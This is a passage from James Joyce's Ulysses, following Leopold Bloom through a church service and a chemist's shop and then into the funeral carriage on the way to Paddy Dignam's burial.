a moment. Twopence a pint, fourpence a quart, +eightpence a gallon of porter, no, one and fourpence a gallon of porter. +One and four into twenty: fifteen about. Yes, exactly. Fifteen millions of +barrels of porter. + +What am I saying barrels? Gallons. About a million barrels all the same. + +An incoming train clanked heavily above his head, coach after coach. +Barrels bumped in his head: dull porter slopped and churned inside. The +bungholes sprang open and a huge dull flood leaked out, flowing together, +winding through mudflats all over the level land, a lazy pooling swirl of +liquor bearing along wideleaved flowers of its froth. + +He had reached the open backdoor of All Hallows. Stepping into the +porch he doffed his hat, took the card from his pocket and tucked it again +behind the leather headband. Damn it. I might have tried to work M'Coy +for a pass to Mullingar. + +Same notice on the door. Sermon by the very reverend John Conmee +S.J. on saint Peter Claver S.J. and the African Mission. Prayers for the +conversion of Gladstone they had too when he was almost unconscious. +The protestants are the same. Convert Dr William J. Walsh D.D. to the +true religion. Save China's millions. Wonder how they explain it to the +heathen Chinee. Prefer an ounce of opium. Celestials. Rank heresy for +them. Buddha their god lying on his side in the museum. Taking it easy +with hand under his cheek. Josssticks burning. Not like Ecce Homo. Crown +of thorns and cross. Clever idea Saint Patrick the shamrock. Chopsticks? +Conmee: Martin Cunningham knows him: distinguishedlooking. Sorry I +didn't work him about getting Molly into the choir instead of that Father +Farley who looked a fool but wasn't. They're taught that. He's not going +out in bluey specs with the sweat rolling off him to baptise blacks, is +he? The glasses would take their fancy, flashing. Like to see them sitting +round in a ring with blub lips, entranced, listening. Still life. Lap it +up like milk, I suppose. + + +The cold smell of sacred stone called him. He trod the worn steps, +pushed the swingdoor and entered softly by the rere. + +Something going on: some sodality. Pity so empty. Nice discreet place +to be next some girl. Who is my neighbour? Jammed by the hour to slow +music. That woman at midnight mass. Seventh heaven. Women knelt in the +benches with crimson halters round their necks, heads bowed. A batch knelt +at the altarrails. The priest went along by them, murmuring, holding the +thing in his hands. He stopped at each, took out a communion, shook a +drop or two (are they in water?) off it and put it neatly into her mouth. +Her hat and head sank. Then the next one. Her hat sank at once. Then the +next one: a small old woman. The priest bent down to put it into her +mouth, murmuring all the time. Latin. The next one. Shut your eyes and +open your mouth. What? CORPUS: body. Corpse. Good idea the Latin. +Stupefies them first. Hospice for the dying. They don't seem to chew it: +only swallow it down. Rum idea: eating bits of a corpse. Why the cannibals +cotton to it. + +He stood aside watching their blind masks pass down the aisle, one by +one, and seek their places. He approached a bench and seated himself in +its corner, nursing his hat and newspaper. These pots we have to wear. We +ought to have hats modelled on our heads. They were about him here and +there, with heads still bowed in their crimson halters, waiting for it to +melt in their stomachs. Something like those mazzoth: it's that sort of +bread: unleavened shewbread. Look at them. Now I bet it makes them feel +happy. Lollipop. It does. Yes, bread of angels it's called. There's a big +idea behind it, kind of kingdom of God is within you feel. First +communicants. Hokypoky penny a lump. Then feel all like one family party, +same in the theatre, all in the same swim. They do. I'm sure of that. Not +so lonely. In our confraternity. Then come out a bit spreeish. Let off +steam. Thing is if you really believe in it. Lourdes cure, waters of +oblivion, and the Knock apparition, statues bleeding. Old fellow asleep +near that confessionbox. Hence those snores. Blind faith. Safe in the arms +of kingdom come. Lulls all pain. Wake this time next year. + +He saw the priest stow the communion cup away, well in, and kneel +an instant before it, showing a large grey bootsole from under the lace +affair he had on. Suppose he lost the pin of his. He wouldn't know what to +do to. Bald spot behind. Letters on his back: I.N.R.I? No: I.H.S. +Molly told me one time I asked her. I have sinned: or no: I have suffered, +it is. And the other one? Iron nails ran in. + +Meet one Sunday after the rosary. Do not deny my request. Turn up +with a veil and black bag. Dusk and the light behind her. She might be +here with a ribbon round her neck and do the other thing all the same on +the sly. Their character. That fellow that turned queen's evidence on the +invincibles he used to receive the, Carey was his name, the communion +every morning. This very church. Peter Carey, yes. No, Peter Claver I am +thinking of. Denis Carey. And just imagine that. Wife and six children +at home. And plotting that murder all the time. Those crawthumpers, +now that's a good name for them, there's always something shiftylooking +about them. They're not straight men of business either. O, no, she's +not here: the flower: no, no. By the way, did I tear up that envelope? +Yes: under the bridge. + +The priest was rinsing out the chalice: then he tossed off the dregs +smartly. Wine. Makes it more aristocratic than for example if he drank +what they are used to Guinness's porter or some temperance beverage +Wheatley's Dublin hop bitters or Cantrell and Cochrane's ginger ale +(aromatic). Doesn't give them any of it: shew wine: only the other. Cold +comfort. Pious fraud but quite right: otherwise they'd have one old booser +worse than another coming along, cadging for a drink. Queer the whole +atmosphere of the. Quite right. Perfectly right that is. + +Mr Bloom looked back towards the choir. Not going to be any music. +Pity. Who has the organ here I wonder? Old Glynn he knew how to make +that instrument talk, the VIBRATO: fifty pounds a year they say he had in +Gardiner street. Molly was in fine voice that day, the STABAT MATER of +Rossini. Father Bernard Vaughan's sermon first. Christ or Pilate? Christ, +but don't keep us all night over it. Music they wanted. Footdrill stopped. +Could hear a pin drop. I told her to pitch her voice against that corner. +I could feel the thrill in the air, the full, the people looking up: + +QUIS EST HOMO. + +Some of that old sacred music splendid. Mercadante: seven last +words. Mozart's twelfth mass: GLORIA in that. Those old popes keen on +music, on art and statues and pictures of all kinds. Palestrina for +example too. They had a gay old time while it lasted. Healthy too, +chanting, regular hours, then brew liqueurs. Benedictine. Green +Chartreuse. Still, having eunuchs in their choir that was coming it a bit +thick. What kind of voice is it? Must be curious to hear after their own +strong basses. Connoisseurs. Suppose they wouldn't feel anything after. +Kind of a placid. No worry. Fall into flesh, don't they? Gluttons, tall, +long legs. Who knows? Eunuch. One way out of it. + +He saw the priest bend down and kiss the altar and then face about +and bless all the people. All crossed themselves and stood up. Mr Bloom +glanced about him and then stood up, looking over the risen hats. Stand up +at the gospel of course. Then all settled down on their knees again and he +sat back quietly in his bench. The priest came down from the altar, +holding the thing out from him, and he and the massboy answered each other +in Latin. Then the priest knelt down and began to read off a card: + +--O God, our refuge and our strength ... + +Mr Bloom put his face forward to catch the words. English. Throw +them the bone. I remember slightly. How long since your last mass? +Glorious and immaculate virgin. Joseph, her spouse. Peter and Paul. More +interesting if you understood what it was all about. Wonderful +organisation certainly, goes like clockwork. Confession. Everyone wants +to. Then I will tell you all. Penance. Punish me, please. Great weapon in +their hands. More than doctor or solicitor. Woman dying to. And I +schschschschschsch. And did you chachachachacha? And why did you? Look +down at her ring to find an excuse. Whispering gallery walls have ears. +Husband learn to his surprise. God's little joke. Then out she comes. +Repentance skindeep. Lovely shame. Pray at an altar. Hail Mary and +Holy Mary. Flowers, incense, candles melting. Hide her blushes. +Salvation army blatant imitation. Reformed prostitute will address +the meeting. How I found the Lord. Squareheaded chaps those must be +in Rome: they work the whole show. And don't they rake in the money too? +Bequests also: to the P.P. for the time being in his absolute discretion. +Masses for the repose of my soul to be said publicly with open doors. +Monasteries and convents. The priest in that Fermanagh will case in +the witnessbox. No browbeating him. He had his answer pat for everything. +Liberty and exaltation of our holy mother the church. The doctors of the +church: they mapped out the whole theology of it. + +The priest prayed: + +--Blessed Michael, archangel, defend us in the hour of conflict. Be our +safeguard against the wickedness and snares of the devil (may God restrain +him, we humbly pray!): and do thou, O prince of the heavenly host, by the +power of God thrust Satan down to hell and with him those other wicked +spirits who wander through the world for the ruin of souls. + +The priest and the massboy stood up and walked off. All over. The +women remained behind: thanksgiving. + +Better be shoving along. Brother Buzz. Come around with the plate +perhaps. Pay your Easter duty. + +He stood up. Hello. Were those two buttons of my waistcoat open all +the time? Women enjoy it. Never tell you. But we. Excuse, miss, there's a +(whh!) just a (whh!) fluff. Or their skirt behind, placket unhooked. +Glimpses of the moon. Annoyed if you don't. Why didn't you tell me +before. Still like you better untidy. Good job it wasn't farther south. He +passed, discreetly buttoning, down the aisle and out through the main door +into the light. He stood a moment unseeing by the cold black marble bowl +while before him and behind two worshippers dipped furtive hands in the +low tide of holy water. Trams: a car of Prescott's dyeworks: a widow in +her weeds. Notice because I'm in mourning myself. He covered himself. How +goes the time? Quarter past. Time enough yet. Better get that lotion made +up. Where is this? Ah yes, the last time. Sweny's in Lincoln place. +Chemists rarely move. Their green and gold beaconjars too heavy to stir. +Hamilton Long's, founded in the year of the flood. Huguenot churchyard +near there. Visit some day. + +He walked southward along Westland row. But the recipe is in the +other trousers. O, and I forgot that latchkey too. Bore this funeral +affair. O well, poor fellow, it's not his fault. When was it I got it made +up last? Wait. I changed a sovereign I remember. First of the month it +must have been or the second. O, he can look it up in the prescriptions +book. + +The chemist turned back page after page. Sandy shrivelled smell he +seems to have. Shrunken skull. And old. Quest for the philosopher's stone. +The alchemists. Drugs age you after mental excitement. Lethargy then. +Why? Reaction. A lifetime in a night. Gradually changes your character. +Living all the day among herbs, ointments, disinfectants. All his +alabaster lilypots. Mortar and pestle. Aq. Dist. Fol. Laur. Te Virid. +Smell almost cure you like the dentist's doorbell. Doctor Whack. He ought +to physic himself a bit. Electuary or emulsion. The first fellow that +picked an herb to cure himself had a bit of pluck. Simples. Want to be +careful. Enough stuff here to chloroform you. Test: turns blue litmus +paper red. Chloroform. Overdose of laudanum. Sleeping draughts. +Lovephiltres. Paragoric poppysyrup bad for cough. Clogs the pores or the +phlegm. Poisons the only cures. Remedy where you least expect it. Clever +of nature. + +--About a fortnight ago, sir? + +--Yes, Mr Bloom said. + +He waited by the counter, inhaling slowly the keen reek of drugs, the +dusty dry smell of sponges and loofahs. Lot of time taken up telling your +aches and pains. + +--Sweet almond oil and tincture of benzoin, Mr Bloom said, and then +orangeflower water ... + +It certainly did make her skin so delicate white like wax. + +--And white wax also, he said. + +Brings out the darkness of her eyes. Looking at me, the sheet up to +her eyes, Spanish, smelling herself, when I was fixing the links in my +cuffs. Those homely recipes are often the best: strawberries for the +teeth: nettles and rainwater: oatmeal they say steeped in buttermilk. +Skinfood. One of the old queen's sons, duke of Albany was it? had only one +skin. Leopold, yes. Three we have. Warts, bunions and pimples to make it +worse. But you want a perfume too. What perfume does your? PEAU D'ESPAGNE. +That orangeflower water is so fresh. Nice smell these soaps have. Pure +curd soap. Time to get a bath round the corner. Hammam. Turkish. Massage. +Dirt gets rolled up in your navel. Nicer if a nice girl did it. Also I +think I. Yes I. Do it in the bath. Curious longing I. Water to water. +Combine business with pleasure. Pity no time for massage. Feel fresh then +all the day. Funeral be rather glum. + +--Yes, sir, the chemist said. That was two and nine. Have you brought a +bottle? + +--No, Mr Bloom said. Make it up, please. I'll call later in the day and +I'll take one of these soaps. How much are they? + +--Fourpence, sir. + +Mr Bloom raised a cake to his nostrils. Sweet lemony wax. + +--I'll take this one, he said. That makes three and a penny. + +--Yes, sir, the chemist said. You can pay all together, sir, when you +come back. + +--Good, Mr Bloom said. + +He strolled out of the shop, the newspaper baton under his armpit, +the coolwrappered soap in his left hand. + +At his armpit Bantam Lyons' voice and hand said: + +--Hello, Bloom. What's the best news? Is that today's? Show us a minute. + +Shaved off his moustache again, by Jove! Long cold upper lip. To +look younger. He does look balmy. Younger than I am. + +Bantam Lyons's yellow blacknailed fingers unrolled the baton. Wants +a wash too. Take off the rough dirt. Good morning, have you used Pears' +soap? Dandruff on his shoulders. Scalp wants oiling. + +--I want to see about that French horse that's running today, Bantam +Lyons said. Where the bugger is it? + +He rustled the pleated pages, jerking his chin on his high collar. +Barber's itch. Tight collar he'll lose his hair. Better leave him the +paper and get shut of him. + +--You can keep it, Mr Bloom said. + +--Ascot. Gold cup. Wait, Bantam Lyons muttered. Half a mo. Maximum +the second. + +--I was just going to throw it away, Mr Bloom said. + +Bantam Lyons raised his eyes suddenly and leered weakly. + +--What's that? his sharp voice said. + +--I say you can keep it, Mr Bloom answered. I was going to throw it away +that moment. + +Bantam Lyons doubted an instant, leering: then thrust the outspread +sheets back on Mr Bloom's arms. + +--I'll risk it, he said. Here, thanks. + +He sped off towards Conway's corner. God speed scut. + +Mr Bloom folded the sheets again to a neat square and lodged the +soap in it, smiling. Silly lips of that chap. Betting. Regular hotbed of +it lately. Messenger boys stealing to put on sixpence. Raffle for large +tender turkey. Your Christmas dinner for threepence. Jack Fleming +embezzling to gamble then smuggled off to America. Keeps a hotel now. They +never come back. Fleshpots of Egypt. + +He walked cheerfully towards the mosque of the baths. Remind you +of a mosque, redbaked bricks, the minarets. College sports today I see. He +eyed the horseshoe poster over the gate of college park: cyclist doubled +up like a cod in a pot. Damn bad ad. Now if they had made it round like a +wheel. Then the spokes: sports, sports, sports: and the hub big: college. +Something to catch the eye. + +There's Hornblower standing at the porter's lodge. Keep him on +hands: might take a turn in there on the nod. How do you do, Mr +Hornblower? How do you do, sir? + +Heavenly weather really. If life was always like that. Cricket weather. +Sit around under sunshades. Over after over. Out. They can't play it here. +Duck for six wickets. Still Captain Culler broke a window in the Kildare +street club with a slog to square leg. Donnybrook fair more in their line. +And the skulls we were acracking when M'Carthy took the floor. +Heatwave. Won't last. Always passing, the stream of life, which in the +stream of life we trace is dearer than them all. + +Enjoy a bath now: clean trough of water, cool enamel, the gentle +tepid stream. This is my body. + +He foresaw his pale body reclined in it at full, naked, in a womb of +warmth, oiled by scented melting soap, softly laved. He saw his trunk and +limbs riprippled over and sustained, buoyed lightly upward, lemonyellow: +his navel, bud of flesh: and saw the dark tangled curls of his bush +floating, floating hair of the stream around the limp father of thousands, +a languid floating flower. + + + * * * * * * * + + +Martin Cunningham, first, poked his silkhatted head into the creaking +carriage and, entering deftly, seated himself. Mr Power stepped in after +him, curving his height with care. + +--Come on, Simon. + +--After you, Mr Bloom said. + +Mr Dedalus covered himself quickly and got in, saying: + +Yes, yes. + +--Are we all here now? Martin Cunningham asked. Come along, Bloom. + +Mr Bloom entered and sat in the vacant place. He pulled the door to +after him and slammed it twice till it shut tight. He passed an arm +through the armstrap and looked seriously from the open carriagewindow at +the lowered blinds of the avenue. One dragged aside: an old woman peeping. +Nose whiteflattened against the pane. Thanking her stars she was passed +over. Extraordinary the interest they take in a corpse. Glad to see us go +we give them such trouble coming. Job seems to suit them. Huggermugger in +corners. Slop about in slipperslappers for fear he'd wake. Then getting it +ready. Laying it out. Molly and Mrs Fleming making the bed. Pull it more +to your side. Our windingsheet. Never know who will touch you dead. +Wash and shampoo. I believe they clip the nails and the hair. Keep a bit +in an envelope. Grows all the same after. Unclean job. + +All waited. Nothing was said. Stowing in the wreaths probably. I am +sitting on something hard. Ah, that soap: in my hip pocket. Better shift +it out of that. Wait for an opportunity. + +All waited. Then wheels were heard from in front, turning: then +nearer: then horses' hoofs. A jolt. Their carriage began to move, creaking +and swaying. Other hoofs and creaking wheels started behind. The blinds +of the avenue passed and number nine with its craped knocker, door ajar. +At walking pace. + +They waited still, their knees jogging, till they had turned and were +passing along the tramtracks. Tritonville road. Quicker. The wheels +rattled rolling over the cobbled causeway and the crazy glasses shook +rattling in the doorframes. + +--What way is he taking us? Mr Power asked through both windows. + +--Irishtown, Martin Cunningham said. Ringsend. Brunswick street. + +Mr Dedalus nodded, looking out. + +--That's a fine old custom, he said. I am glad to see it has not died out. + +All watched awhile through their windows caps and hats lifted by +passers. Respect. The carriage swerved from the tramtrack to the smoother +road past Watery lane. Mr Bloom at gaze saw a lithe young man, clad in +mourning, a wide hat. + +--There's a friend of yours gone by, Dedalus, he said. + +--Who is that? + +--Your son and heir. + +--Where is he? Mr Dedalus said, stretching over across. + +The carriage, passing the open drains and mounds of rippedup +roadway before the tenement houses, lurched round the corner and, +swerving back to the tramtrack, rolled on noisily with chattering wheels. +Mr Dedalus fell back, saying: + +--Was that Mulligan cad with him? His FIDUS ACHATES! + +--No, Mr Bloom said. He was alone. + +--Down with his aunt Sally, I suppose, Mr Dedalus said, the Goulding +faction, the drunken little costdrawer and Crissie, papa's little lump of +dung, the wise child that knows her own father. + +Mr Bloom smiled joylessly on Ringsend road. Wallace Bros: the +bottleworks: Dodder bridge. + +Richie Goulding and the legal bag. Goulding, Collis and Ward he +calls the firm. His jokes are getting a bit damp. Great card he was. +Waltzing in Stamer street with Ignatius Gallaher on a Sunday morning, the +landlady's two hats pinned on his head. Out on the rampage all night. +Beginning to tell on him now: that backache of his, I fear. Wife ironing +his back. Thinks he'll cure it with pills. All breadcrumbs they are. +About six hundred per cent profit. + +--He's in with a lowdown crowd, Mr Dedalus snarled. That Mulligan is a +contaminated bloody doubledyed ruffian by all accounts. His name stinks +all over Dublin. But with the help of God and His blessed mother I'll make +it my business to write a letter one of those days to his mother or his +aunt or whatever she is that will open her eye as wide as a gate. I'll +tickle his catastrophe, believe you me. + +He cried above the clatter of the wheels: + +--I won't have her bastard of a nephew ruin my son. A counterjumper's +son. Selling tapes in my cousin, Peter Paul M'Swiney's. Not likely. + +He ceased. Mr Bloom glanced from his angry moustache to Mr Power's +mild face and Martin Cunningham's eyes and beard, gravely shaking. +Noisy selfwilled man. Full of his son. He is right. Something to +hand on. If little Rudy had lived. See him grow up. Hear his voice in the +house. Walking beside Molly in an Eton suit. My son. Me in his eyes. +Strange feeling it would be. From me. Just a chance. Must have been that +morning in Raymond terrace she was at the window watching the two dogs +at it by the wall of the cease to do evil. And the sergeant grinning up. +She had that cream gown on with the rip she never stitched. Give us a +touch, Poldy. God, I'm dying for it. How life begins. + +Got big then. Had to refuse the Greystones concert. My son inside +her. I could have helped him on in life. I could. Make him independent. +Learn German too. + +--Are we late? Mr Power asked. + +--Ten minutes, Martin Cunningham said, looking at his watch. + +Molly. Milly. Same thing watered down. Her tomboy oaths. O jumping +Jupiter! Ye gods and little fishes! Still, she's a dear girl. Soon +be a woman. Mullingar. Dearest Papli. Young student. Yes, yes: a woman +too. Life, life. + +The carriage heeled over and back, their four trunks swaying. + +--Corny might have given us a more commodious yoke, Mr Power said. + +--He might, Mr Dedalus said, if he hadn't that squint troubling him. Do +you follow me? + +He closed his left eye. Martin Cunningham began to brush away +crustcrumbs from under his thighs. + +--What is this, he said, in the name of God? Crumbs? + +--Someone seems to have been making a picnic party here lately, Mr Power +said. + +All raised their thighs and eyed with disfavour the mildewed +buttonless leather of the seats. Mr Dedalus, twisting his nose, frowned +downward and said: + +--Unless I'm greatly mistaken. What do you think, Martin? + +--It struck me too, Martin Cunningham said. + +Mr Bloom set his thigh down. Glad I took that bath. Feel my feet +quite clean. But I wish Mrs Fleming had darned these socks better. + +Mr Dedalus sighed resignedly. + +--After all, he said, it's the most natural thing in the world. + +--Did Tom Kernan turn up? Martin Cunningham asked, twirling the peak +of his beard gently. + +--Yes, Mr Bloom answered. He's behind with Ned Lambert and Hynes. + +--And Corny Kelleher himself? Mr Power asked. + +--At the cemetery, Martin Cunningham said. + +--I met M'Coy this morning, Mr Bloom said. He said he'd try to come. + +The carriage halted short. + +--What's wrong? + +--We're stopped. + +--Where are we? + +Mr Bloom put his head out of the window. + +--The grand canal, he said. + +Gasworks. Whooping cough they say it cures. Good job Milly never +got it. Poor children! Doubles them up black and blue in convulsions. +Shame really. Got off lightly with illnesses compared. Only measles. +Flaxseed tea. Scarlatina, influenza epidemics. Canvassing for death. Don't +miss this chance. Dogs' home over there. Poor old Athos! Be good to Athos, +Leopold, is my last wish. Thy will be done. We obey them in the grave. A +dying scrawl. He took it to heart, pined away. Quiet brute. Old men's dogs +usually are. + +A raindrop spat on his hat. He drew back and saw an instant of +shower spray dots over the grey flags. Apart. Curious. Like through a +colander. I thought it would. My boots were creaking I remember now. + +--The weather is changing, he said quietly. + +--A pity it did not keep up fine, Martin Cunningham said. + +--Wanted for the country, Mr Power said. There's the sun again coming out. + +Mr Dedalus, peering through his glasses towards the veiled sun, +hurled a mute curse at the sky. + +--It's as uncertain as a child's bottom, he said. + +--We're off again. + +The carriage turned again its stiff wheels and their trunks swayed +gently. Martin Cunningham twirled more quickly the peak of his beard. + +--Tom Kernan was immense last night, he said. And Paddy Leonard taking +him off to his face. + +--O, draw him out, Martin, Mr Power said eagerly. Wait till you hear him, +Simon, on Ben Dollard's singing of THE CROPPY BOY. + +--Immense, Martin Cunningham said pompously. HIS SINGING OF THAT SIMPLE +BALLAD, MARTIN, IS THE MOST TRENCHANT RENDERING I EVER HEARD IN THE WHOLE +COURSE OF MY EXPERIENCE. + +--Trenchant, Mr Power said laughing. He's dead nuts on that. And the +retrospective arrangement. + +--Did you read Dan Dawson's speech? Martin Cunningham asked. + +--I did not then, Mr Dedalus said. Where is it? + +--In the paper this morning. + +Mr Bloom took the paper from his inside pocket. That book I must +change for her. + +--No, no, Mr Dedalus said quickly. Later on please. + +Mr Bloom's glance travelled down the edge of the paper, scanning the +deaths: Callan, Coleman, Dignam, Fawcett, Lowry, Naumann, Peake, what +Peake is that? is it the chap was in Crosbie and Alleyne's? no, Sexton, +Urbright. Inked characters fast fading on the frayed breaking paper. +Thanks to the Little Flower. Sadly missed. To the inexpressible grief of +his. Aged 88 after a long and tedious illness. Month's mind: Quinlan. +On whose soul Sweet Jesus have mercy. + + + IT IS NOW A MONTH SINCE DEAR HENRY FLED + TO HIS HOME UP ABOVE IN THE SKY + WHILE HIS FAMILY WEEPS AND MOURNS HIS LOSS + HOPING SOME DAY TO MEET HIM ON HIGH. + + +I tore up the envelope? Yes. Where did I put her letter after I read it in +the bath? He patted his waistcoatpocket. There all right. Dear Henry fled. +Before my patience are exhausted. + +National school. Meade's yard. The hazard. Only two there now. +Nodding. Full as a tick. Too much bone in their skulls. The other trotting +round with a fare. An hour ago I was passing there. The jarvies raised +their hats. + +A pointsman's back straightened itself upright suddenly against a +tramway standard by Mr Bloom's window. Couldn't they invent something +automatic so that the wheel itself much handier? Well but that fellow +would lose his job then? Well but then another fellow would get a job +making the new invention? + +Antient concert rooms. Nothing on there. A man in a buff suit with a +crape armlet. Not much grief there. Quarter mourning. People in law +perhaps. + +They went past the bleak pulpit of saint Mark's, under the railway +bridge, past the Queen's theatre: in silence. Hoardings: Eugene Stratton, +Mrs Bandmann Palmer. Could I go to see LEAH tonight, I wonder. I said I. +Or the LILY OF KILLARNEY? Elster Grimes Opera Company. Big powerful +change. Wet bright bills for next week. FUN ON THE BRISTOL. Martin +Cunningham could work a pass for the Gaiety. Have to stand a drink or +two. As broad as it's long. + +He's coming in the afternoon. Her songs. + +Plasto's. Sir Philip Crampton's memorial fountain bust. Who was he? + +--How do you do? Martin Cunningham said, raising his palm to his brow +in salute. + +--He doesn't see us, Mr Power said. Yes, he does. How do you do? + +--Who? Mr Dedalus asked. + +--Blazes Boylan, Mr Power said. There he is airing his quiff. + +Just that moment I was thinking. + +Mr Dedalus bent across to salute. From the door of the Red Bank the +white disc of a straw hat flashed reply: spruce figure: passed. + +Mr Bloom reviewed the nails of his left hand, then those of his right +hand. The nails, yes. Is there anything more in him that they she sees? +Fascination. Worst man in Dublin. That keeps him alive. They sometimes +feel what a person is. Instinct. But a type like that. My nails. I am just +looking at them: well pared. And after: thinking alone. Body getting a bit +softy. I would notice that: from remembering. What causes that? I suppose +the skin can't contract quickly enough when the flesh falls off. But the +shape is there. The shape is there still. Shoulders. Hips. Plump. Night of +the dance dressing. Shift stuck between the cheeks behind. + +He clasped his hands between his knees and, satisfied, sent his vacant +glance over their faces. + +Mr Power asked: + +--How is the concert tour getting on, Bloom? + +--O, very well, Mr Bloom said. I hear great accounts of it. It's a good +idea, you see ... + +--Are you going yourself? + +--Well no, Mr Bloom said. In point of fact I have to go down to the +county Clare on some private business. You see the idea is to tour the +chief towns. What you lose on one you can make up on the other. + +--Quite so, Martin Cunningham said. Mary Anderson is up there now. + +Have you good artists? + +--Louis Werner is touring her, Mr Bloom said. O yes, we'll have all +topnobbers. J. C. Doyle and John MacCormack I hope and. The best, in +fact. + +--And MADAME, Mr Power said smiling. Last but not least. + +Mr Bloom unclasped his hands in a gesture of soft politeness and +clasped them. Smith O'Brien. Someone has laid a bunch of flowers there. +Woman. Must be his deathday. For many happy returns. The carriage +wheeling by Farrell's statue united noiselessly their unresisting knees. + +Oot: a dullgarbed old man from the curbstone tendered his wares, his +mouth opening: oot. + +--Four bootlaces for a penny. + +Wonder why he was struck off the rolls. Had his office in Hume +street. Same house as Molly's namesake, Tweedy, crown solicitor for +Waterford. Has that silk hat ever since. Relics of old decency. Mourning +too. Terrible comedown, poor wretch! Kicked about like snuff at a wake. +O'Callaghan on his last legs. + +And MADAME. Twenty past eleven. Up. Mrs Fleming is in to clean. +Doing her hair, humming. VOGLIO E NON VORREI. No. VORREI E NON. Looking +at the tips of her hairs to see if they are split. MI TREMA UN POCO IL. +Beautiful on that TRE her voice is: weeping tone. A thrush. A throstle. +There is a word throstle that expresses that. + +His eyes passed lightly over Mr Power's goodlooking face. Greyish +over the ears. MADAME: smiling. I smiled back. A smile goes a long way. +Only politeness perhaps. Nice fellow. Who knows is that true about the +woman he keeps? Not pleasant for the wife. Yet they say, who was it told +me, there is no carnal. You would imagine that would get played out pretty +quick. Yes, it was Crofton met him one evening bringing her a pound of +rumpsteak. What is this she was? Barmaid in Jury's. Or the Moira, was it? + +They passed under the hugecloaked Liberator's form. + +Martin Cunningham nudged Mr Power. + +--Of the tribe of Reuben, he said. + +A tall blackbearded figure, bent on a stick, stumping round the corner +of Elvery's Elephant house, showed them a curved hand open on his spine. + +--In all his pristine beauty, Mr Power said. + +Mr Dedalus looked after the stumping figure and said mildly: + +--The devil break the hasp of your back! + +Mr Power, collapsing in laughter, shaded his face from the window as +the carriage passed Gray's statue. + +--We have all been there, Martin Cunningham said broadly. + +His eyes met Mr Bloom's eyes. He caressed his beard, adding: + +--Well, nearly all of us. + +Mr Bloom began to speak with sudden eagerness to his companions' faces. + +--That's an awfully good one that's going the rounds about Reuben J and +the son. + +--About the boatman? Mr Power asked. + +--Yes. Isn't it awfully good? + +--What is that? Mr Dedalus asked. I didn't hear it. + +--There was a girl in the case, Mr Bloom began, and he determined to send +him to the Isle of Man out of harm's way but when they were both ... + +--What? Mr Dedalus asked. That confirmed bloody hobbledehoy is it? + +--Yes, Mr Bloom said. They were both on the way to the boat and he tried +to drown ... + +--Drown Barabbas! Mr Dedalus cried. I wish to Christ he did! + +Mr Power sent a long laugh down his shaded nostrils. + +--No, Mr Bloom said, the son himself ... + +Martin Cunningham thwarted his speech rudely: + +--Reuben and the son were piking it down the quay next the river on their +way to the Isle of Man boat and the young chiseller suddenly got loose and +over the wall with him into the Liffey. + +--For God's sake! Mr Dedalus exclaimed in fright. Is he dead? + +--Dead! Martin Cunningham cried. Not he! A boatman got a pole and +fished him out by the slack of the breeches and he was landed up to the +father on the quay more dead than alive. Half the town was there. + +--Yes, Mr Bloom said. But the funny part is ... + +--And Reuben J, Martin Cunningham said, gave the boatman a florin for +saving his son's life. + +A stifled sigh came from under Mr Power's hand. + +--O, he did, Martin Cunningham affirmed. Like a hero. A silver florin. + +--Isn't it awfully good? Mr Bloom said eagerly. + +--One and eightpence too much, Mr Dedalus said drily. + +Mr Power's choked laugh burst quietly in the carriage. + +Nelson's pillar. + +--Eight plums a penny! Eight for a penny! + +--We had better look a little serious, Martin Cunningham said. + +Mr Dedalus sighed. + +--Ah then indeed, he said, poor little Paddy wouldn't grudge us a laugh. +Many a good one he told himself. + +--The Lord forgive me! Mr Power said, wiping his wet eyes with his +fingers. Poor Paddy! I little thought a week ago when I saw him last and +he was in his usual health that I'd be driving after him like this. He's +gone from us. + +--As decent a little man as ever wore a hat, Mr Dedalus said. He went +very suddenly. + +--Breakdown, Martin Cunningham said. Heart. + +He tapped his chest sadly. + +Blazing face: redhot. Too much John Barleycorn. Cure for a red +nose. Drink like the devil till it turns adelite. A lot of money he spent +colouring it. + +Mr Power gazed at the passing houses with rueful apprehension. + +--He had a sudden death, poor fellow, he said. + +--The best death, Mr Bloom said. + +Their wide open eyes looked at him. + +--No suffering, he said. A moment and all is over. Like dying in sleep. + +No-one spoke. + +Dead side of the street this. Dull business by day, land agents, +temperance hotel, Falconer's railway guide, civil service college, Gill's, +catholic club, the industrious blind. Why? Some reason. Sun or wind. At +night too. Chummies and slaveys. Under the patronage of the late Father +Mathew. Foundation stone for Parnell. Breakdown. Heart. + +White horses with white frontlet plumes came round the Rotunda +corner, galloping. A tiny coffin flashed by. In a hurry to bury. A +mourning coach. Unmarried. Black for the married. Piebald for bachelors. +Dun for a nun. + +--Sad, Martin Cunningham said. A child. + +A dwarf's face, mauve and wrinkled like little Rudy's was. Dwarf's +body, weak as putty, in a whitelined deal box. Burial friendly society +pays. Penny a week for a sod of turf. Our. Little. Beggar. Baby. +Meant nothing. Mistake of nature. If it's healthy it's from the mother. +If not from the man. Better luck next time. + +--Poor little thing, Mr Dedalus said. It's well out of it. + +The carriage climbed more slowly the hill of Rutland square. Rattle +his bones. Over the stones. Only a pauper. Nobody owns. + +--In the midst of life, Martin Cunningham said. + +--But the worst of all, Mr Power said, is the man who takes his own life. + +Martin Cunningham drew out his watch briskly, coughed and put it back. + +--The greatest disgrace to have in the family, Mr Power added. + +--Temporary insanity, of course, Martin Cunningham said decisively. We +must take a charitable view of it. + +--They say a man who does it is a coward, Mr Dedalus said. + +--It is not for us to judge, Martin Cunningham said. + +Mr Bloom, about to speak, closed his lips again. Martin Cunningham's +large eyes. Looking away now. Sympathetic human man he is. Intelligent. +Like Shakespeare's face. Always a good word to say. They have no +mercy on that here or infanticide. Refuse christian burial. They +used to drive a stake of wood through his heart in the grave. As if it +wasn't broken already. Yet sometimes they repent too late. Found in the +riverbed clutching rushes. He looked at me. And that awful drunkard of a +wife of his. Setting up house for her time after time and then pawning the +furniture on him every Saturday almost. Leading him the life of the +damned. Wear the heart out of a stone, that. Monday morning. Start afresh. +Shoulder to the wheel. Lord, she must have looked a sight that night +Dedalus told me he was in there. Drunk about the place and capering with +Martin's umbrella. + + + AND THEY CALL ME THE JEWEL OF ASIA, + OF ASIA, + THE GEISHA. + + +He looked away from me. He knows. Rattle his bones. + +That afternoon of the inquest. The redlabelled bottle on the table. The +room in the hotel with hunting pictures. Stuffy it was. Sunlight through +the slats of the Venetian blind. The coroner's sunlit ears, big and hairy. +Boots giving evidence. Thought he was asleep first. Then saw like yellow +streaks on his face. Had slipped down to the foot of the bed. Verdict: +overdose. Death by misadventure. The 